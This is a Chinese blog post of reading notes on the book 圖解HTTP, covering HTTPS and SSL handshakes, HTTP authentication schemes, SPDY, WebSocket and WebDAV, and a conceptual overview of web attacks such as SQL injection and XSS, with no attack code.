《圖解HTTP》閱讀筆記（下）

阿新 • • 發佈：2020-10-18

七、確保Web安全的HTTPS

HTTP的缺點

通訊使用明文會被竊聽

問題：TCP/IP是可能被竊聽的網路

無論哪個地方的伺服器在和客戶端在通訊，都有可能在某個環節中遭到惡意窺視。即使通訊過程加密了，通訊內容也會被窺視到，只是說通過加密可以讓人無法破解報文資訊的含義。

竊聽相同段上的通訊只需要收集在網際網路上流動的資料包（幀）。對於收集來的資料包的解析工作，可交給那些抓包（Packet Capture）或嗅探器（Sniffer）工具。比如Wireshark工具。它可以獲取HTTP協議的請求和響應的內容，並對其進行解析。
解決：加密處理防止被竊聽
1. 通訊的加密
  
  HTTP協議中沒有加密機制，但可以通過和SSL（Secure Socket Layer，安全套接層）或TLS（Transport Layer Security，安全傳輸層協議）的組合，加密HTTP的通訊內容。
  
  用SSL建立安全通訊線路之後，就可以在這條線路上進行HTTP通訊。與SSL組合使用的HTTP被稱為HTTPS（HTTP Secure，超文字傳輸安全協議）或HTTP overSSL。
2. 內容的加密
  
  對HTTP協議傳輸的內容（報文內容）本身加密。為了做到有效的內容加密，前提是要求客戶端和伺服器同時具備加密和解密機制。客戶端對HTTP報文加密處理後傳送請求時，會由於該方式不同於SSL或TLS將整個通訊線路加密處理，導致內容仍有被篡改的風險。

不驗證通訊方的身份會遭遇偽裝

HTTP協議中的請求和響應不會對通訊方進行確認。即存在“伺服器是否就是傳送請求中URI真正指定的主機“、”返回的響應是否真的返回到實際提出請求的客戶端”等類似問題。

問題：任何人都可發起請求

由於不存在確認通訊方的處理步驟，任何人都可以發起請求。另外，伺服器只要接收到請求，不管對方是誰都會返回一個響應（在傳送端的IP地址和埠號沒有被Web伺服器設定限制訪問的前提下）
- 無法確定請求傳送至目標的Web伺服器是否是按真實意圖返回響應的那臺伺服器。有可能是已偽裝的Web伺服器。
- 無法確定響應返回到的客戶端是否是按真實意圖接收響應的那個客戶端。有可能是已偽裝的客戶端。
- 無法確定正在通訊的對方是否具備訪問許可權。因為某些Web伺服器上儲存著重要的資訊，只想發給特定使用者通訊的許可權。
- 無法判定請求是來自何方、出自誰手。
- 即使是無意義的請求也會照單全收。無法阻止海量請求下的DoS攻擊（Denial of Service，拒絕服務攻擊）。
解決：查明對手的證書

雖然使用HTTP協議無法確定通訊方，但SSL可以。SSL不僅提供加密處理，而且還使用了一種被稱為證書的手段，可用於確定方。

證書由值得信任的第三方機構頒發，用以證明伺服器和客戶端是實際存在的。另外，偽造證書從技術角度來說是異常困難的一件事。所以只要能夠確認通訊方（伺服器或客戶端）持有的證書，即可判斷通訊方的真實意圖。

無法證明報文完整性

所謂完整性是指資訊的準確度。若無法證明其完整性，通常也就意味著無法判斷資訊是否準確。

問題：接收到的內容可能有誤

HTTP協議無法證明通訊的報文完整性。在請求或響應送出之後直到對方接收之前的這段時間內，無法知道請求或響應的內容遭到篡改。
解決：防止篡改

使用HTTP協議確定報文完整性的常用方法：MD5和SHA-1等雜湊值校驗的方法，以及用來確認檔案的數字簽名方法。

提供檔案下載服務的Web網站也會提供相應的以PGP（Pretty Good Privacy，完美隱私）建立的數字簽名及MD5演算法生成的雜湊值。PGP是用來證明建立檔案的數字簽名，MD5是由單向函式生成的雜湊值。不論使用哪一種方法，都需要操縱客戶端的使用者本人親自檢查驗證下載的檔案是否就是原來伺服器上的檔案。瀏覽器無法自動幫使用者檢查。

然而，用這些方法也依然無法百分百保證確認結果正確。因為PGP和MD5本身被改寫的話，使用者是沒有辦法意識到的。為了有效防止這些弊端，有必要使用HTTPS。SSL提供認證和加密處理及摘要功能。

HTTP+加密+認證+完整性保護=HTTPS

HTTPS的特點

總結HTTP存在的問題：

使用未經加密的明文時，如果通訊線路被竊聽，資訊會暴露
無法確認通訊方的
接收到的報文在通訊途中可能遭到篡改

為了統一解決上述這些問題，需要在HTTP上再加入加密處理和認證等機制。這種添加了加密及認證機制的HTTP稱為HTTPS（HTTP Secure）

經常會在Web的登入頁面和購物結算介面等使用HTTPS通訊。使用HTTPS通訊時，不再用http://，而是改用https://。另外，當瀏覽器訪問HTTPS通訊有效的Web網站時，瀏覽器的位址列內會出現一個帶鎖的標記：（對HTTPS的顯示方式會因瀏覽器的不同而有所改變）

HTTPS是身披SSL外殼的HTTP

HTTPS並非是應用層的一種新協議。只是HTTP通訊介面部分用SSL（SecureSocket Layer）和TLS（Transport Layer Security）協議代替而已。在採用SSL後，HTTP就擁有了HTTPS的加密、證書和完整性保護這些功能。

SSL是獨立於HTTP的協議，所以不光是HTTP協議，其他執行在應用層的SMTP和Telnet等協議均可配合SSL協議使用。可以說SSL是當今世界上應用最為廣泛的網路安全技術。

SSL的加密方法

SSL採用一種叫做公開金鑰加密（Public-key cryptography）的加密處理方式。加密和解密都會用到金鑰，沒有金鑰就無法對密碼解密。

共享金鑰（對稱金鑰）加密的困境

加密和解密同用一個金鑰的方式稱為共享金鑰加密（Common key cryptosystem），也被叫做對稱金鑰加密。
- 怎樣才能安全地轉交？
- 在網際網路上轉發金鑰時，如果通訊被監聽到怎麼辦？
- 又該如何安全地保管接收到的金鑰呢？
公開金鑰（非對稱的）加密的好處

公開金鑰加密使用一對非對稱的金鑰。一把叫做私有金鑰（private key），另一把叫做公開金鑰（public key）。私有金鑰不能讓其他任何人知道，而公開金鑰則可以隨意釋出，任何人都可以獲得。傳送密文的一方使用對方的公開金鑰進行加密處理，接收方使用自己的私有金鑰進行解密。這樣就不需要傳送用來解密的私有金鑰，也不必擔心金鑰被攻擊者竊聽而盜走。

要想根據密文和公開金鑰恢復到資訊原文是異常困難的，因為解密過程就是在對離散對數進行求值，這並非輕而易舉就能辦到。
HTTPS採用混合加密機制

HTTPS採用共享金鑰加密和公開金鑰加密兩者並用的混合加密機制。

證明公開金鑰正確性的證書

問題：公開金鑰加密方式無法證明公開金鑰本身就是貨真價實的公開金鑰。或許在公開金鑰傳輸途中，真正的公開金鑰已經被攻擊者替換掉了。
解決：使用由數字證書認證機構（CA,Certificate Authority）和其相關機關頒發的公開金鑰證書。

數字證書認證機構處於客戶端與伺服器雙方都可信賴的第三方機構的立場上。威瑞信（VeriSign）就是其中一家非常有名的數字證書認證機構。
申請證書：
1. 伺服器的運營人員向數字證書認證機構提出公開金鑰的申請。
2. 數字證書認證機構在判明提出申請者的身份之後，會對已申請的公開金鑰做數字簽名
3. 分配這個已簽名的公開金鑰，並將該公開金鑰放入公鑰證書後繫結在一起。
使用步驟：
1. 伺服器會將公鑰證書（數字證書）傳送給客戶端
2. 客戶端使用數字證書認證機構的公開金鑰，對證書上的數字簽名進行驗證
驗證通過則表明：認證伺服器的公開金鑰的是真實有效的數字證書認證機構；伺服器的公開金鑰是值得信賴的。
最後：認證機關的公開金鑰如何安全地轉交給客戶端？所以，多數瀏覽器開發商釋出版本時，會事先在內部植入常用認證機關的公開金鑰。

有哪些證書？

可證明組織真實性的EV SSL（Extended Validation SSL Certificate）證書
- 證明作為通訊一方的伺服器是否規範
- 確認對方伺服器背後運營的企業是否真實存在
EV SSL證書是基於國際標準的認證指導方針頒發的證書，嚴格規定了對運營組織是否真實的確認方針。持有EV SSL證書的Web網站的瀏覽器位址列處的背景色是綠色的，而且在位址列的左側顯示了SSL證書中記錄的組織名稱以及頒發證書的認證機構的名稱。
用以確認客戶端的客戶端證書

可以證明伺服器正在通訊的對方始終是預料之內的客戶端。但客戶端證書仍存在幾處問題點：

問題一：使用者只有自行安裝客戶端證書才能獲取證書。客戶端證書需要付費購買。

現狀是，安全性極高的認證機構可頒發客戶端證書但僅用於特殊用途的業務。比如那些可支撐客戶端證書支出費用的業務。例如，銀行的網上銀行就採用了客戶端證書。在登入網銀時不僅要求使用者確認輸入ID和密碼，還會要求使用者的客戶端證書，以確認使用者是否從特定的終端訪問網銀。

問題二：客戶端證書只能證明客戶端實際存在，而不能用來證明使用者本人的真實有效性。即只要在有客戶端證書的計算機上使用，就同時擁有了客戶端證書的使用許可權

HTTPS的安全通訊機制

步驟1：客戶端通過傳送Client Hello報文開始SSL通訊。報文中包含客戶端支援的SSL的指定版本、加密元件（Cipher Suite）列表（所使用的加密演算法及金鑰長度等）。

步驟2：伺服器可進行SSL通訊時，會以Server Hello報文作為應答。和客戶端一樣，在報文中包含SSL版本以及加密元件。伺服器的加密元件內容是從接收到的客戶端加密元件內篩選出來的。

步驟3：之後伺服器傳送Certificate報文。報文中包含公開金鑰證書。

步驟4：最後伺服器傳送Server Hello Done報文通知客戶端，最初階段的SSL握手協商部分結束。

步驟5: SSL第一次握手結束之後，客戶端以Client Key Exchange報文作為迴應。報文中包含通訊加密中使用的一種被稱為Pre-master secret的隨機密碼串。該報文已用步驟3中的公開金鑰進行加密。

步驟6：接著客戶端繼續傳送Change Cipher Spec報文。該報文會提示伺服器，在此報文之後的通訊會採用Pre-master secret金鑰加密。

步驟7：客戶端傳送Finished報文。該報文包含連線至今全部報文的整體校驗值。這次握手協商是否能夠成功，要以伺服器是否能夠正確解密該報文作為判定標準。

步驟8：伺服器同樣傳送Change Cipher Spec報文。

步驟9：伺服器同樣傳送Finished報文。

步驟10：伺服器和客戶端的Finished報文交換完畢之後，SSL連線就算建立完成。當然，通訊會受到SSL的保護。從此處開始進行應用層協議的通訊，即傳送HTTP請求。

步驟11：應用層協議通訊，即傳送HTTP響應。

步驟12：最後由客戶端斷開連線。斷開連線時，傳送close_notify報文。上圖做了一些省略，這步之後再發送TCP FIN報文來關閉與TCP的通訊。

在以上流程中，應用層傳送資料時會附加一種叫做MAC（MessageAuthentication Code）的報文摘要。MAC能夠查知報文是否遭到篡改，從而保護報文的完整性。

SSL存在的問題

HTTPS使用SSL（Secure Socket Layer）和TLS（Transport Layer Security）這兩個協議。

HTTPS也存在一些問題，那就是當使用SSL時，它的處理速度會變慢。SSL的慢分兩種：

通訊慢

使用HTTP相比，網路負載可能會變慢2到100倍。除去和TCP連線、傳送HTTP請求·響應以外，還必須進行SSL通訊，因此整體上處理通訊量不可避免會增加。
由於大量消耗CPU及記憶體等資源，導致處理速度變慢

SSL必須進行加密處理。在伺服器和客戶端都需要進行加密和解密的運算處理。因此從結果上講，比起HTTP會更多地消耗伺服器和客戶端的硬體資源，導致負載增強。（針對速度變慢這一問題，並沒有根本性的解決方案，我們會使用SSL加速器這種（專用伺服器）硬體來改善該問題。該硬體為SSL通訊專用硬體，相對軟體來講，能夠提高數倍SSL的計算速度。僅在SSL處理時發揮SSL加速器的功效，以分擔負載。）

不一直使用HTTPS的原因

因為與純文字通訊相比，加密通訊會消耗更多的CPU及記憶體資源。

如果每次通訊都加密，會消耗相當多的資源，平攤到一臺計算機上時，能夠處理的請求數量必定也會隨之減少。因此，如果是非敏感資訊則使用HTTP通訊，只有在包含個人資訊等敏感資料時，才利用HTTPS加密通訊。特別是每當那些訪問量較多的Web網站在進行加密處理時，它們所承擔著的負載不容小覷。在進行加密處理時，並非對所有內容都進行加密處理，而是僅在那些需要資訊隱藏時才會加密，以節約資源。
購買證書的開銷。

要進行HTTPS通訊，證書是必不可少的。而使用的證書必須向認證機構（CA）購買。證書價格可能會根據不同的認證機構略有不同。通常，一年的授權需要數萬日元（現在一萬日元大約摺合600人民幣）。那些購買證書並不合算的服務以及一些個人網站，可能只會選擇採用HTTP的通訊方式。

八、確認訪問使用者身份的認證

引言

核對的資訊通常是指以下這些：

密碼：只有本人才會知道的字串資訊。
動態令牌：僅限本人持有的裝置內顯示的一次性密碼。
數字證書：僅限本人（終端）持有的資訊。
生物認證：指紋和虹膜等本人的生理資訊。
IC卡等：僅限本人持有的資訊。

但是，即便對方是假冒的使用者，只要能通過使用者驗證，那麼計算機就會預設是出自本人的行為。因此，掌控機密資訊的密碼絕不能讓他人得到，更不能輕易地就被破解出來。

HTTP/1.1使用的認證方式如下所示：

BASIC認證（基本認證）
DIGEST認證（摘要認證）
SSL客戶端認證
FormBase認證（基於表單認證）

此外，還有Windows統一認證（Keberos認證、NTLM認證）

BASIC認證

HTTP/1.0定義的BASIC認證（基本認證）是Web伺服器與通訊客戶端之間進行的認證方式。

步驟1：當請求的資源需要BASIC認證時，伺服器會隨狀態碼401Authorization Required，返回帶WWW-Authenticate首部欄位的響應。該欄位內包含認證的方式（BASIC）及Request-URI安全域字串（realm）

步驟2：接收到狀態碼401的客戶端為了通過BASIC認證，需要將使用者ID及密碼傳送給伺服器。傳送的字串內容是由使用者ID和密碼構成，兩者中間以冒號（:）連線後，再經過Base64編碼處理。

假設使用者ID為guest，密碼是guest，連線起來就會形成guest:guest這樣的字串。然後經過Base64編碼，最後的結果即是Z3Vlc3Q6Z3Vlc3Q=。把這串字串寫入首部欄位Authorization後，傳送請求。當用戶代理為瀏覽器時，使用者僅需輸入使用者ID和密碼即可，之後，瀏覽器會自動完成到Base64編碼的轉換工作。

步驟3：接收到包含首部欄位Authorization請求的伺服器，會對認證資訊的正確性進行驗證。如驗證通過，則返回一條包含Request-URI資源的響應。

問題：BASIC認證雖然採用Base64編碼方式，但這不是加密處理。不需要任何附加資訊即可對其解碼。換言之，由於明文解碼後就是使用者ID和密碼，在HTTP等非加密通訊的線路上進行BASIC認證的過程中，如果被人竊聽，被盜的可能性極高。另外，除此之外想再進行一次BASIC認證時，一般的瀏覽器卻無法實現認證登出操作，這也是問題之一。BASIC認證使用上不夠便捷靈活，且達不到多數Web網站期望的安全性等級，因此它並不常用。

DIGEST認證

為彌補BASIC認證存在的弱點，從HTTP/1.1起就有了DIGEST認證。DIGEST認證同樣使用質詢/響應的方式（challenge/response），但不會像BASIC認證那樣直接傳送明文密碼。

質詢響應方式：一方會先發送認證要求給另一方，接著使用從另一方那接收到的質詢碼計算生成響應碼。最後將響應碼返回給對方進行認證。

步驟1：請求需認證的資源時，伺服器會隨著狀態碼401 AuthorizationRequired，返回帶WWW-Authenticate首部欄位的響應。

首部欄位WWW-Authenticate內必須包含realm和nonce這兩個欄位的資訊；客戶端依靠這兩個值進行認證的；nonce是一種每次隨返回的401響應生成的任意隨機字串

步驟2：接收到401狀態碼的客戶端，返回的響應中包含DIGEST認證必須的首部欄位Authorization資訊。

Authorization內必須包含username、realm、nonce、uri和response的欄位資訊。其中，realm和nonce就是之前從伺服器接收到的響應中的欄位；username是realm限定範圍內可進行認證的使用者名稱；uri（digest-uri）即Request-URI的值，但考慮到經代理轉發後Request-URI的值可能被修改，因此事先會複製一份副本儲存在uri內；response也可叫做Request-Digest，存放經過MD5運算後的密碼字串，形成響應碼；另外，有關Request-Digest的計算規則較複雜，有興趣的讀者不妨深入學習一下RFC2617。

步驟3：接收到包含首部欄位Authorization請求的伺服器，會確認認證資訊的正確性。認證通過後則返回包含Request-URI資源的響應。

這時會在首部欄位Authentication-Info寫入一些認證成功的相關資訊；DIGEST認證提供了高於BASIC認證的安全等級，但是和HTTPS的客戶端認證相比仍舊很弱。DIGEST認證提供防止密碼被竊聽的保護機制，但並不存在防止使用者偽裝的保護機制；DIGEST認證和BASIC認證一樣，使用上不那麼便捷靈活，且仍達不到多數Web網站對高度安全等級的追求標準。因此它的適用範圍也有所受限。

SSL客戶端認證

從使用使用者ID和密碼的認證方式方面來講，只要二者的內容正確，即可認證是本人的行為。但如果使用者ID和密碼被盜，就很有可能被第三者冒充。利用SSL客戶端認證則可以避免該情況的發生。SSL客戶端認證是藉由HTTPS的客戶端證書完成認證的方式。憑藉客戶端證書認證，伺服器可確認訪問是否來自已登入的客戶端。

SSL客戶端認證的認證步驟：

步驟1：接收到需要認證資源的請求，伺服器會發送Certificate Request報文，要求客戶端提供客戶端證書。

步驟2：使用者選擇將傳送的客戶端證書後，客戶端會把客戶端證書資訊以Client Certificate報文方式傳送給伺服器。

步驟3：伺服器驗證客戶端證書驗證通過後方可領取證書內客戶端的公開金鑰，然後開始HTTPS加密通訊。

SSL客戶端認證採用雙因素認證

在多數情況下，SSL客戶端認證不會僅依靠證書完成認證，一般會和基於表單認證組合形成一種雙因素認證（Two-factor authentication）來使用。換言之，第一個認證因素的SSL客戶端證書用來認證客戶端計算機，另一個認證因素的密碼則用來確定這是使用者本人的行為。通過雙因素認證後，就可以確認是使用者本人正在使用匹配正確的計算機訪問伺服器。

SSL客戶端認證必要的費用：

使用SSL客戶端認證需要用到客戶端證書。而客戶端證書需要支付一定費用才能使用。這裡提到的費用是指，從認證機構購買客戶端證書的費用，以及伺服器運營者為保證自己搭建的認證機構安全運營所產生的費用。每個認證機構頒發客戶端證書的費用不盡相同，平攤到一張證書上，一年費用約幾萬至十幾萬日元。伺服器運營者也可以自己搭建認證機構，但要維持安全執行就會產生相應的費用。

基於表單認證

基於表單的認證方法並不是在HTTP協議中定義的。客戶端會向伺服器上的Web應用程式傳送登入資訊（Credential），按登入資訊的驗證結果認證。安裝完Web應用程式後，輸入已事先登入的使用者ID（通常是任意字串或郵件地址）和密碼等登入資訊後，傳送給Web應用程式，基於認證結果來決定認證是否成功。

認證多半為基於表單認證：

由於使用上的便利性及安全性問題，HTTP協議標準提供的BASIC認證和DIGEST認證幾乎不怎麼使用。另外，SSL客戶端認證雖然具有高度的安全等級，但因為匯入及維持費用等問題，還尚未普及。

比如SSH和FTP協議，伺服器與客戶端之間的認證是合乎標準規範的，並且滿足了最基本的功能需求上的安全使用級別，因此這些協議的認證可以拿來直接使用。但是對於Web網站的認證功能，能夠滿足其安全使用級別的標準規範並不存在，所以只好使用由Web應用程式各自實現基於表單的認證方式。

不具備共同標準規範的表單認證，在每個Web網站上都會有各不相同的實現方式。如果是全面考慮過安全效能而實現的表單認證，那麼就能夠具備高度的安全等級。但在表單認證的實現中存在問題的Web網站也是屢見不鮮。

Session管理及Cookie應用：

基於表單認證的標準規範尚未有定論，一般會使用Cookie來管理Session（會話）。基於表單認證本身是通過伺服器端的Web應用，將客戶端傳送過來的使用者ID和密碼與之前登入過的資訊做匹配來進行認證的。

但鑑於HTTP是無狀態協議，之前已認證成功的使用者狀態無法通過協議層面儲存下來。即，無法實現狀態管理，因此即使當該使用者下一次繼續訪問，也無法區分他與其他的使用者。於是我們會使用Cookie來管理Session，以彌補HTTP協議中不存在的狀態管理功能。

步驟1：客戶端把使用者ID和密碼等登入資訊放入報文的實體部分，通常是以POST方法把請求傳送給伺服器。而這時，會使用HTTPS通訊來進行HTML表單畫面的顯示和使用者輸入資料的傳送。

步驟2：伺服器會發放用以識別使用者的Session ID。通過驗證從客戶端傳送過來的登入資訊進行身份認證，然後把使用者的認證狀態與Session ID繫結後記錄在伺服器端。

向客戶端返回響應時，會在首部欄位Set-Cookie內寫入Session ID（如PHPSESSID=028a8c…）；你可以把Session ID想象成一種用以區分不同使用者的等位號。然而，如果Session ID被第三方盜走，對方就可以偽裝成你的身份進行惡意操作了。因此必須防止Session ID被盜，或被猜出。為了做到這點，Session ID應使用難以推測的字串，且伺服器端也需要進行有效期的管理，保證其安全性；另外，為減輕跨站指令碼攻擊（XSS）造成的損失，建議事先在Cookie內加上httponly屬性。

步驟3：客戶端接收到從伺服器端發來的Session ID後，會將其作為Cookie儲存在本地。下次向伺服器傳送請求時，瀏覽器會自動傳送Cookie，所以Session ID也隨之傳送到伺服器。伺服器端可通過驗證接收到的Session ID識別使用者和其認證狀態。

通常，一種安全的儲存方法是，先利用給密碼加鹽（salt）[插圖]的方式增加額外資訊，再使用雜湊（hash）函式計算出雜湊值後儲存。但是我們也經常看到直接儲存明文密碼的做法，而這樣的做法具有導致密碼洩露的風險。

九、基於HTTP的功能追加協議

HTTP功能上的不足可通過建立一套全新的協議來彌補

HTTP的瓶頸

不方便實時地顯示更新的內容。以下HTTP標準限制了這一問題的解決：

一條連線上只可傳送一個請求。
請求只能從客戶端開始。客戶端不可以接收除響應以外的指令。
請求/響應首部未經壓縮就傳送。首部資訊越多延遲越大。
傳送冗長的首部。每次互相傳送相同的首部造成的浪費較多。
可任意選擇資料壓縮格式。非強制壓縮傳送。

SPDY

設計

SPDY沒有完全改寫HTTP協議，而是在TCP/IP的應用層與傳輸層之間通過新加會話層的形式運作。考慮到安全性問題，SPDY規定通訊中使用SSL。SPDY採用HTTP建立通訊連線，控制對資料的流動。

功能

多路複用流：通過單一的TCP連線，可以無限制處理多個HTTP請求。
賦予請求優先順序：SPDY不僅可以無限制地併發處理請求，還可以給請求逐個分配優先順序順序。
壓縮HTTP首部：通訊產生的資料包數量和傳送的位元組數就更少了。
推送功能：支援伺服器主動向客戶端推送資料的功能。
伺服器提示功能：伺服器可以主動提示客戶端請求所需的資源。由於在客戶端發現資源之前就可以獲知資源的存在，因此在資源已快取等情況下，可以避免傳送不必要的請求。

侷限

因為SPDY基本上只是將單個域名（IP地址）的通訊多路複用，所以當一個Web網站上使用多個域名下的資源，改善效果就會受到限制。

WebSocket

設計

WebSocket，即Web瀏覽器與Web伺服器之間全雙工通訊標準。WebSocket技術主要是為了解決Ajax和Comet裡XMLHttpRequest附帶的缺陷所引起的問題。

握手-請求：為了實現WebSocket通訊，需要用到HTTP的Upgrade首部欄位，告知伺服器通訊協議發生改變，以達到握手的目的。

Sec-WebSocket-Key欄位內記錄著握手過程中必不可少的鍵值。

Sec-WebSocket-Protocol欄位內記錄使用的子協議。子協議按WebSocket協議標準在連線分開使用時，定義那些連線的名稱。
握手-響應：對於之前的請求，返回狀態碼101 Switching Protocols的響應。

Sec-WebSocket-Accept的欄位值是由握手請求中的Sec-WebSocket-Key的欄位值生成的。成功握手確立WebSocket連線之後，通訊時不再使用HTTP的資料幀，而採用WebSocket獨立的資料幀。

一旦Web伺服器與客戶端之間建立起WebSocket協議的通訊連線，之後所有的通訊都依靠這個專用協議進行。通訊過程中可互相傳送JSON、XML、HTML或圖片等任意格式的資料。由於是建立在HTTP基礎上的協議，因此連線的發起方仍是客戶端。而一旦確立WebSocket通訊連線，不論伺服器還是客戶端，任意一方都可直接向對方傳送報文。

功能

推送功能：支援由伺服器向客戶端推送資料的推送功能。
減少通訊量：只要建立起WebSocket連線，就希望一直保持連線狀態。和HTTP相比，不但每次連線時的總開銷減少，而且由於WebSocket的首部資訊很小，通訊量也相應減少了。

例項

以下為呼叫WebSocket API，每50ms傳送一次資料的例項。

HTTP/2.0

HTTP/2.0的目標是改善使用者在使用Web時的速度體驗。但由於基本上都會先通過HTTP/1.1與TCP連線，現在以下面的協議為基礎，探討一下它們的實現方法：

SPDY
HTTP Speed+Mobility：用於改善並提高移動端通訊時的通訊速度和效能的標準。建立在Google公司提出的SPDY與WebSocket的基礎之上。
Network-Friendly HTTP Upgrade：在移動端通訊時改善HTTP效能的標準。

HTTP/2.0的7項技術及討論

WebDAV

WebDAV是一個可對Web伺服器上的內容直接進行檔案複製、編輯等操作的分散式檔案系統。全稱為Web-based Distributed Authoring and Versioning，基於全球資訊網的分散式創作和版本控制。它可以：

建立、刪除檔案
管理檔案建立者
檔案編輯過程中禁止其他使用者內容覆蓋的加鎖
對檔案內容修改的版本控制

使用HTTP/1.1的PUT方法和DELETE方法，就可以對Web伺服器上的檔案進行建立和刪除操作。但出於安全性及便捷性等考慮，不使用。

擴充套件

WebDAV擴充套件了HTTP/1.1。針對伺服器上的資源，WebDAV新增加了一些概念

集合（Colection）：是一種統一管理多個資源的概念。以集合為單位可進行各種操作。也可實現類似集合的集合這樣的疊加
資源（Resource）：把檔案或集合稱為資源。
屬性（Property）：定義資源的屬性。定義以“名稱=值”的格式執行。
鎖（Lock）：把檔案設定成無法編輯狀態。多人同時編輯時，可防止在同一時間進行內容寫入。

新增方法

PROPFIND：獲取屬性
PROPPATCH：修改屬性
MKCOL：建立集合
COPY：複製資源及屬性
MOVE：移動資源
LOCK：資源加鎖
UNLOCK：資源解鎖

新增狀態碼

102 Processing：可正常處理請求，但目前是處理中狀態
207 Multi-Status：存在多種狀態
422 Unprocessible Entity：格式正確，內容有誤
423 Locked：資源已被加鎖
424 Failed Dependency：處理與某請求關聯的請求失敗，因此不再維持依賴關係
507 Insufficient Storage：儲存空間不足

WebDAV的請求例項

使用PROPFIND方法對http://www.example.com/file發起獲取屬性的請求

針對之前的PROPFIND方法，返回http://www.example.com/file的屬性的響應

為何HTTP協議受眾廣泛

這與企業或組織的防火牆設定有著莫大的關係，防火牆的基本功能就是禁止非指定的協議和埠號的資料包通過。因此如果使用新協議或埠號則必須修改防火牆設定。

網際網路上，使用率最高的當屬Web。不管是否具備訪問FTP和SSH的許可權，一般公司都會開放對Web的訪問。Web是基於HTTP協議運作的，因此在構建Web伺服器或訪問Web站點時，需事先設定防火牆HTTP（80/tcp）和HTTPS（443/tcp）的許可權。

許多公司或組織已設定許可權將HTTP作為通訊環境，因此無須再修改防火牆的設定。可見HTTP具有匯入簡單這一大優勢。而這也是基於HTTP服務或內容不斷增加的原因之一。

十、構建web內容的技術

Web應用

Web應用是指通過Web功能提供的應用程式。比如購物網站、網上銀行、SNS、BBS、搜尋引擎和e-learning等。原本應用HTTP協議的Web的機制就是對客戶端發來的請求，返回事前準備好的內容。可隨著Web越來越普及，僅靠這樣的做法已不足以應對所有的需求，更需要引入由程式建立HTML內容的做法。

由程式建立的內容稱為動態內容，而事先準備好的內容稱為靜態內容。Web應用則作用於動態內容之上：

與Web伺服器及程式協作的CGI

CGI是指Web伺服器在接收到客戶端傳送過來的請求後轉發給程式的一組機制（全稱Common Gateway Interface，通用閘道器介面）。在CGI的作用下，程式會對請求內容做出相應的動作，比如建立HTML等動態內容。

使用CGI的程式叫做CGI程式，通常是用Perl、PHP、Ruby和C等程式語言編寫而成。

因Java而普及的Servlet

Servlet是一種能在伺服器上建立動態內容的程式。Servlet是用Java語言實現的一個介面。

CGI由於每次接到請求，程式都要跟著啟動一次。因此一旦訪問量過大，Web伺服器要承擔相當大的負載。而Servlet執行在與Web伺服器相同的程序中，因此受到的負載較小：

Servlet的執行環境叫做Web容器或Servlet容器。

資料釋出的格式及語言

XML（eXtensible Markup Language，可擴充套件標記語言）
釋出更新資訊的RSS/Atom：RSS（簡易資訊聚合，也叫聚合內容）和Atom都是釋出新聞或部落格日誌等更新資訊文件的格式的總稱。兩者都用到了XML
RSS有以下版本，名稱和編寫方式也不相同:
- RSS 0.9（RDF Site Summary）：最初的RSS版本。1999年3月由網景通訊公司自行開發用於其入口網站。基礎構圖建立在初期的RDF規格上。
- RSS 0.91（Rich Site Summary）：在RSS0.9的基礎上擴充套件元素，於1999年7月開發完畢。非RDF規格，使用XML方式編寫。
- RSS 1.0（RDF Site Summary）:RSS規格正處於混亂狀態。2000年12月由RSS-DEV工作組再次採用RSS0.9中使用的RDF規格釋出。
- RSS2.0（Really Simple Syndication）：非RSS1.0發展路線。增加支援RSS0.91的相容性，2000年12月由UserLand Software公司開發完成。
Atom具有以下兩種標準：
- Atom供稿格式（Atom Syndication Format）：為釋出內容而制定的網站訊息來源格式，單講Atom時，就是指此標準。
- Atom出版協定（Atom Publishing Protocol）：為Web上內容的新增或修改而制定的協議。
用於訂閱部落格更新資訊的RSS閱讀器，這種應用幾乎支援RSS的所有版本以及Atom。下面是RSS1.0的示例：
JSON

十一、Web的攻擊技術

概述

簡單的HTTP協議本身並不存在安全性問題，因此協議本身幾乎不會成為攻擊的物件。應用HTTP協議的伺服器和客戶端，以及執行在伺服器上的Web應用等資源才是攻擊目標。目前，來自網際網路的攻擊大多是衝著Web站點來的，它們大多把Web應用作為攻擊目標。

幾乎現今所有的Web網站都會使用會話（session）管理、加密處理等安全性方面的功能，而HTTP協議內並不具備這些功能。

在Web應用中，從瀏覽器那接收到的HTTP請求的全部內容，都可以在客戶端自由地變更、篡改。在HTTP請求報文內載入攻擊程式碼，就能發起對Web應用的攻擊。通過URL查詢欄位或表單、HTTP首部、Cookie等途徑把攻擊程式碼傳入，若這時Web應用存在安全漏洞，那內部資訊就會遭到竊取，或被攻擊者拿到管理許可權。

Web應用的攻擊模式

主動攻擊

以伺服器為目標的主動攻擊指攻擊者通過直接訪問Web應用，把攻擊程式碼傳入的攻擊模式。攻擊者是在訪問到那些資源的前提上，針對伺服器上的資源進行攻擊。主動攻擊模式裡具有代表性的攻擊是SQL注入攻擊和OS命令注入攻擊：

被動攻擊

以伺服器為目標的被動攻擊指利用圈套策略執行攻擊程式碼的攻擊模式。在被動攻擊過程中，攻擊者不直接對目標Web應用訪問發起攻擊。具有代表性的攻擊是跨站指令碼攻擊和跨站點請求偽造。被動攻擊通常的攻擊模式如下所示：

利用使用者的身份攻擊企業內部網路

很多企業內網依然可以連線到網際網路上，訪問Web網站，或接收網際網路發來的郵件。這樣就可能給攻擊者以可乘之機，誘導使用者觸發陷阱後對企業內網發動攻擊。

Web應用的安全對策

客戶端的驗證

多數情況下采用JavaScript。可是在客戶端允許篡改資料或關閉JavaScript，所以這並不適合作為安全對策。保留客戶端驗證只是為了儘早地辨識輸入錯誤，起到提高UI體驗的作用。

Web應用端(伺服器端)的驗證

輸入值驗證：在Web應用上進行輸入值驗證時，輸入值可能被誤認為是具有攻擊性意義的程式碼。輸入值驗證通常是：檢查是否是符合系統業務邏輯的數值、檢查字元編碼等
輸出值轉義：從資料庫或檔案系統、HTML、郵件等輸出Web應用處理的資料的時候，對輸出值進行轉義處理是一種重要的安全策略。這是因為，當輸出值轉義不完全時，可能會觸發攻擊者傳入的攻擊程式碼，從而給輸出物件帶來損害。

因輸出值轉義不完全引發的安全漏洞

XSS攻擊

跨站指令碼攻擊（Cross-Site Scripting,XSS）是指通過存在安全漏洞的Web網站註冊使用者的瀏覽器內執行非法的HTML標籤或JavaScript進行的一種攻擊。動態建立的HTML部分有可能隱藏著安全漏洞。XSS是攻擊者利用預先設定的陷阱觸發的被動攻擊，它可以：

利用虛假輸入表單騙取使用者個人資訊

例子：

下圖網站通過位址列中URI，在這個地方，可能隱藏著可執行跨站指令碼攻擊的漏洞。

